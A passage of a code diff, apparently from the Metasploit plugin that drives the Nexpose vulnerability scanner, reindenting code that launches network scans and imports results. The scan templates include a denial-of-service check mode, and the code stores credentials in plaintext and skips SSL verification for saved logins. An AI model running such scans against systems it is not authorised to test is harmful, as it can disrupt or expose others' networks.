active Nexpose instance", - - 'nexpose_sites' => "List all defined sites", - 'nexpose_site_devices' => "List all discovered devices within a site", - 'nexpose_site_import' => "Import data from the specified site ID", - 'nexpose_report_templates' => "List all available report templates", - 'nexpose_command' => "Execute a console command on the Nexpose instance", - 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", - - # TODO: - # nexpose_stop_scan - } - end - - def nexpose_verify_db - if ! (framework.db and framework.db.usable and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - - true - end - - def nexpose_verify - return false if not nexpose_verify_db - - if ! @nsc - print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") - return false - end - - true - end - - def cmd_nexpose_save(*args) - #if we are logged in, save session details to nexpose.yaml - if args[0] == "-h" - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } - print_good("#{Nexpose_yaml} created.") - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nexpose_connect(*args) - return if not nexpose_verify_db - - if ! args[0] - if ::File.readable?("#{Nexpose_yaml}") - lconfig = YAML.load_file("#{Nexpose_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... - nexpose_login - return - end - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:3780' - @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] - when 4,5 - @user,@pass,@host,@port,@sslv = args - else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - nexpose_login - end - - def nexpose_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - # Wrap this so a duplicate session doesnt prevent a new login - begin - cmd_nexpose_disconnect - rescue ::Interrupt - raise $! - rescue ::Exception - end - - begin - print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) - nsc.login - rescue ::Nexpose::APIError => e - print_error("Connection failed: #{e.reason}") - return - end - - @nsc = nsc - nexpose_compatibility_check - nsc - end - - def cmd_nexpose_activity(*args) - return if not nexpose_verify - - scans = @nsc.scan_activity || [] - case scans.length - when 0 - print_status("There are currently no active scan jobs on this Nexpose instance") - when 1 - print_status("There is 1 active scan job on this Nexpose instance") - else - print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") - end - - scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") - end - end - - def cmd_nexpose_sites(*args) - return if not nexpose_verify - - sites = @nsc.site_listing || [] - case sites.length - when 0 - print_status("There are currently no active sites on this Nexpose instance") - end - - sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") - end - end - - def cmd_nexpose_site_devices(*args) - return if not nexpose_verify - - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - devices = @nsc.site_device_listing(site_id) || [] - case devices.length - when 0 - print_status("There are currently no devices within this site") - end - - devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") - end - end - - def cmd_nexpose_report_templates(*args) - return if not nexpose_verify - - res = @nsc.report_template_listing || [] - - res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") - end - end - - def cmd_nexpose_command(*args) - return if not nexpose_verify - - if args.length == 0 - print_error("No command was specified") - return - end - - res = @nsc.console_command(args.join(" ")) || "" - - print_status("Command Output") - print_line(res) - print_line("") - - end - - def cmd_nexpose_sysinfo(*args) - return if not nexpose_verify - - res = @nsc.system_information - - print_status("System Information") - res.each_pair do |k,v| - print_status(" #{k}: #{v}") - end - end - - def nexpose_compatibility_check - res = @nsc.console_command("ver") - if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m - print_error("") - print_error("Warning: This version of Nexpose has not been tested with Metasploit!") - print_error("") - end - end - - def cmd_nexpose_site_import(*args) - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - msfid = Time.now.to_i - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status("Downloading the export data...") - data = @nsc.download(url) - - # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) - - print_status("Importing Nexpose data...") - process_nexpose_data(report_format, data) - - end - - def cmd_nexpose_discover(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "aggressive-discovery" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_exhaustive(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "exhaustive-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_dos(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "dos-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_scan(*args) - - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], - "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], - "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], - "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], - "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], - "-v" => [ false, "Display diagnostic information about the scanning process"], - "-d" => [ false, "Scan hosts based on the contents of the existing database"], - "-I" => [ true, "Only scan systems with an address within the specified range"], - "-E" => [ true, "Exclude hosts in the specified range from the scan"] - ) - - opt_template = "pentest-audit" - opt_maxaddrs = 32 - opt_monitor = false - opt_verbose = false - opt_savexml = nil - opt_preserve = false - opt_rescandb = false - opt_addrinc = nil - opt_addrexc = nil - opt_scanned = [] - opt_credentials = [] - - opt_ranges = [] - - - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: nexpose_scan [options] <Target IP Ranges>") - print_line(opts.usage) - return - when "-t" - opt_template = val - when "-n" - opt_maxaddrs = val.to_i - when "-s" - opt_savexml = val - when "-c" - if (val =~ /^([^:]+):([^:]+):(.+)/) - type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) - opt_credentials << newcreds - else - print_error("Unrecognized Nexpose scan credentials: #{val}") - return - end - when "-v" - opt_verbose = true - when "-P" - opt_preserve = true - when "-d" - opt_rescandb = true - when '-I' - opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - when '-E' - opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - else - opt_ranges << val - end - end - - return if not nexpose_verify - - # Include all database hosts as scan targets if specified - if(opt_rescandb) - print_status("Loading scan targets from the active database...") if opt_verbose - framework.db.hosts.each do |host| - next if host.state != ::Msf::HostState::Alive - opt_ranges << host.address - end - end - - possible_files = opt_ranges # don't allow DOS by circular reference - possible_files.each do |file| - if ::File.readable? file - print_status "Parsing ranges from #{file}" - range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} - range_list.each_line { |subrange| opt_ranges << subrange} - opt_ranges.delete(file) - end - end - - opt_ranges = opt_ranges.join(' ') - - if(opt_ranges.strip.empty?) - print_line("Usage: nexpose_scan [options] <Target IP Ranges>") - print_line(opts.usage) - return - end - - if(opt_verbose) - print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") - end - - range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) - range = ::Rex::Socket::RangeWalker.new(range_inp) - include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil - exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil - - completed = 0 - total = range.num_ips - count = 0 - - print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") - - while(completed < total) - count += 1 - queue = [] - - while(ip = range.next_ip and queue.length < opt_maxaddrs) - - if(exclude_range and exclude_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose - next - end - - if(include_range and ! include_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose - next - end - - opt_scanned << ip - queue << ip - end - - break if queue.empty? - print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose - - msfid = Time.now.to_i - - # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() - - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose - - # Run the scan - res = site.scanSite() - sid = res[:scan_id] - - print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose - - rep = true - begin - prev = nil - while(true) - info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" - if(stat != prev) - print_status(" >> #{stat}") if opt_verbose - end - prev = stat - select(nil, nil, nil, 5.0) - end - print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose - rescue ::Interrupt - rep = false - print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) - break - end - - # Wait for the automatic report generation to complete - if(rep) - print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status(" >> Downloading the report data from Nexpose...") if opt_verbose - data = @nsc.download(url) - - if(opt_savexml) - ::FileUtils.mkdir_p(opt_savexml) - path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") - print_status(" >> Saving scan data into #{path}") if opt_verbose - ::File.open(path, "wb") { |fd| fd.write(data) } - end - - process_nexpose_data(report_format, data) - end - - if ! opt_preserve - print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) - end - end - - print_status("Completed the scan of #{total} addresses") - end - - def cmd_nexpose_disconnect(*args) - @nsc.logout if @nsc - @nsc = nil - end - - def process_nexpose_data(fmt, data) - case fmt - when 'raw-xml-v2' - framework.db.import({:data => data}) - when 'ns-xml' - framework.db.import({:data => data}) - else - print_error("Unsupported Nexpose data format: #{fmt}") - end - end - - # - # Nexpose vuln lookup - # - def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) - doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| - - title = vulndef.attributes['title'] - pciSeverity = vulndef.attributes['pciSeverity'] - cvss_score = vulndef.attributes['cvssScore'] - cvss_vector = vulndef.attributes['cvssVector'] - - vulndef.elements['references'].elements.each('reference') do |ref| - if ref.attributes['source'] == 'BID' - refs[ 'BID-' + ref.text ] = true - elsif ref.attributes['source'] == 'CVE' - # ref.text is CVE-$ID - refs[ ref.text ] = true - elsif ref.attributes['source'] == 'MS' - refs[ 'MSB-MS-' + ref.text ] = true - end - end - - refs[ 'NEXPOSE-' + vid.downcase ] = true - - vuln = framework.db.find_or_create_vuln( - :host => host, - :service => serv, - :name => 'NEXPOSE-' + vid.downcase, - :data => title) - - rids = [] - refs.keys.each do |r| - rids << framework.db.find_or_create_ref(:name => r) - end - - vuln.refs << (rids - vuln.refs) - end - end - - end - - # - # Plugin initialization - # - - def initialize(framework, opts) - super - - add_console_dispatcher(NexposeCommandDispatcher) - banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") - - # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles - lang = Rex::Compat.getenv("LANG") - if (lang and lang =~ /UTF-8/) - # Cygwin/Windows should not be reporting UTF-8 either... - # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) - banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") - end - print(banner) - print_status("Nexpose integration has been activated") - end - - def cleanup - remove_console_dispatcher('Nexpose') - end - - def name - "nexpose" - end - - def desc - "Integrates with the Rapid7 Nexpose vulnerability management product" - end + class NexposeCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nexpose" + end + + def commands + { + 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", + 'nexpose_save' => "Save credentials to a Nexpose instance", + 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", + + 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", + 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", + 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", + 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", + + 'nexpose_disconnect' => "Disconnect from an active Nexpose instance", + + 'nexpose_sites' => "List all defined sites", + 'nexpose_site_devices' => "List all discovered devices within a site", + 'nexpose_site_import' => "Import data from the specified site ID", + 'nexpose_report_templates' => "List all available report templates", + 'nexpose_command' => "Execute a console command on the Nexpose instance", + 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", + + # TODO: + # nexpose_stop_scan + } + end + + def nexpose_verify_db + if ! (framework.db and framework.db.usable and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + + true + end + + def nexpose_verify + return false if not nexpose_verify_db + + if ! @nsc + print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") + return false + end + + true + end + + def cmd_nexpose_save(*args) + #if we are logged in, save session details to nexpose.yaml + if args[0] == "-h" + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Nexpose_yaml} created.") + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nexpose_connect(*args) + return if not nexpose_verify_db + + if ! args[0] + if ::File.readable?("#{Nexpose_yaml}") + lconfig = YAML.load_file("#{Nexpose_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + nexpose_login + return + end + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:3780' + @host,@port = targ.split(':', 2) + port ||= '3780' + @sslv = args[1] + when 4,5 + @user,@pass,@host,@port,@sslv = args + else + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + nexpose_login + end + + def nexpose_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + # Wrap this so a duplicate session doesnt prevent a new login + begin + cmd_nexpose_disconnect + rescue ::Interrupt + raise $! + rescue ::Exception + end + + begin + print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") + nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc.login + rescue ::Nexpose::APIError => e + print_error("Connection failed: #{e.reason}") + return + end + + @nsc = nsc + nexpose_compatibility_check + nsc + end + + def cmd_nexpose_activity(*args) + return if not nexpose_verify + + scans = @nsc.scan_activity || [] + case scans.length + when 0 + print_status("There are currently no active scan jobs on this Nexpose instance") + when 1 + print_status("There is 1 active scan job on this Nexpose instance") + else + print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") + end + + scans.each do |scan| + print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + end + end + + def cmd_nexpose_sites(*args) + return if not nexpose_verify + + sites = @nsc.site_listing || [] + case sites.length + when 0 + print_status("There are currently no active sites on this Nexpose instance") + end + + sites.each do |site| + print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + end + end + + def cmd_nexpose_site_devices(*args) + return if not nexpose_verify + + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + devices = @nsc.site_device_listing(site_id) || [] + case devices.length + when 0 + print_status("There are currently no devices within this site") + end + + devices.each do |device| + print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + end + end + + def cmd_nexpose_report_templates(*args) + return if not nexpose_verify + + res = @nsc.report_template_listing || [] + + res.each do |report| + print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + end + end + + def cmd_nexpose_command(*args) + return if not nexpose_verify + + if args.length == 0 + print_error("No command was specified") + return + end + + res = @nsc.console_command(args.join(" ")) || "" + + print_status("Command Output") + print_line(res) + print_line("") + + end + + def cmd_nexpose_sysinfo(*args) + return if not nexpose_verify + + res = @nsc.system_information + + print_status("System Information") + res.each_pair do |k,v| + print_status(" #{k}: #{v}") + end + end + + def nexpose_compatibility_check + res = @nsc.console_command("ver") + if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m + print_error("") + print_error("Warning: This version of Nexpose has not been tested with Metasploit!") + print_error("") + end + end + + def cmd_nexpose_site_import(*args) + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + msfid = Time.now.to_i + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id("pentest-audit") + + report.addFilter("SiteFilter", site_id) + report.set_generate_after_scan(0) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status("Generating the export data file...") + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status("Downloading the export data...") + data = @nsc.download(url) + + # Delete the temporary report ID + @nsc.report_config_delete(report.config_id) + + print_status("Importing Nexpose data...") + process_nexpose_data(report_format, data) + + end + + def cmd_nexpose_discover(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "aggressive-discovery" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_exhaustive(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "exhaustive-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_dos(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "dos-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_scan(*args) + + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], + "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], + "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], + "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], + "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], + "-v" => [ false, "Display diagnostic information about the scanning process"], + "-d" => [ false, "Scan hosts based on the contents of the existing database"], + "-I" => [ true, "Only scan systems with an address within the specified range"], + "-E" => [ true, "Exclude hosts in the specified range from the scan"] + ) + + opt_template = "pentest-audit" + opt_maxaddrs = 32 + opt_monitor = false + opt_verbose = false + opt_savexml = nil + opt_preserve = false + opt_rescandb = false + opt_addrinc = nil + opt_addrexc = nil + opt_scanned = [] + opt_credentials = [] + + opt_ranges = [] + + + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: nexpose_scan [options] <Target IP Ranges>") + print_line(opts.usage) + return + when "-t" + opt_template = val + when "-n" + opt_maxaddrs = val.to_i + when "-s" + opt_savexml = val + when "-c" + if (val =~ /^([^:]+):([^:]+):(.+)/) + type, user, pass = [ $1, $2, $3 ] + newcreds = Nexpose::AdminCredentials.new + newcreds.setCredentials(type, nil, nil, user, pass, nil) + opt_credentials << newcreds + else + print_error("Unrecognized Nexpose scan credentials: #{val}") + return + end + when "-v" + opt_verbose = true + when "-P" + opt_preserve = true + when "-d" + opt_rescandb = true + when '-I' + opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + when '-E' + opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + else + opt_ranges << val + end + end + + return if not nexpose_verify + + # Include all database hosts as scan targets if specified + if(opt_rescandb) + print_status("Loading scan targets from the active database...") if opt_verbose + framework.db.hosts.each do |host| + next if host.state != ::Msf::HostState::Alive + opt_ranges << host.address + end + end + + possible_files = opt_ranges # don't allow DOS by circular reference + possible_files.each do |file| + if ::File.readable? file + print_status "Parsing ranges from #{file}" + range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} + range_list.each_line { |subrange| opt_ranges << subrange} + opt_ranges.delete(file) + end + end + + opt_ranges = opt_ranges.join(' ') + + if(opt_ranges.strip.empty?) + print_line("Usage: nexpose_scan [options] <Target IP Ranges>") + print_line(opts.usage) + return + end + + if(opt_verbose) + print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") + end + + range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) + range = ::Rex::Socket::RangeWalker.new(range_inp) + include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil + exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil + + completed = 0 + total = range.num_ips + count = 0 + + print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") + + while(completed < total) + count += 1 + queue = [] + + while(ip = range.next_ip and queue.length < opt_maxaddrs) + + if(exclude_range and exclude_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose + next + end + + if(include_range and ! include_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose + next + end + + opt_scanned << ip + queue << ip + end + + break if queue.empty? + print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose + + msfid = Time.now.to_i + + # Create a temporary site + site = Nexpose::Site.new(@nsc) + site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") + queue.each do |ip| + site.site_config.addHost(Nexpose::IPRange.new(ip)) + end + site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) + opt_credentials.each do |c| + site.site_config.addCredentials(c) + end + site.saveSite() + + print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id(opt_template) + + report.addFilter("SiteFilter", site.site_id) + report.set_generate_after_scan(1) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + + # Run the scan + res = site.scanSite() + sid = res[:scan_id] + + 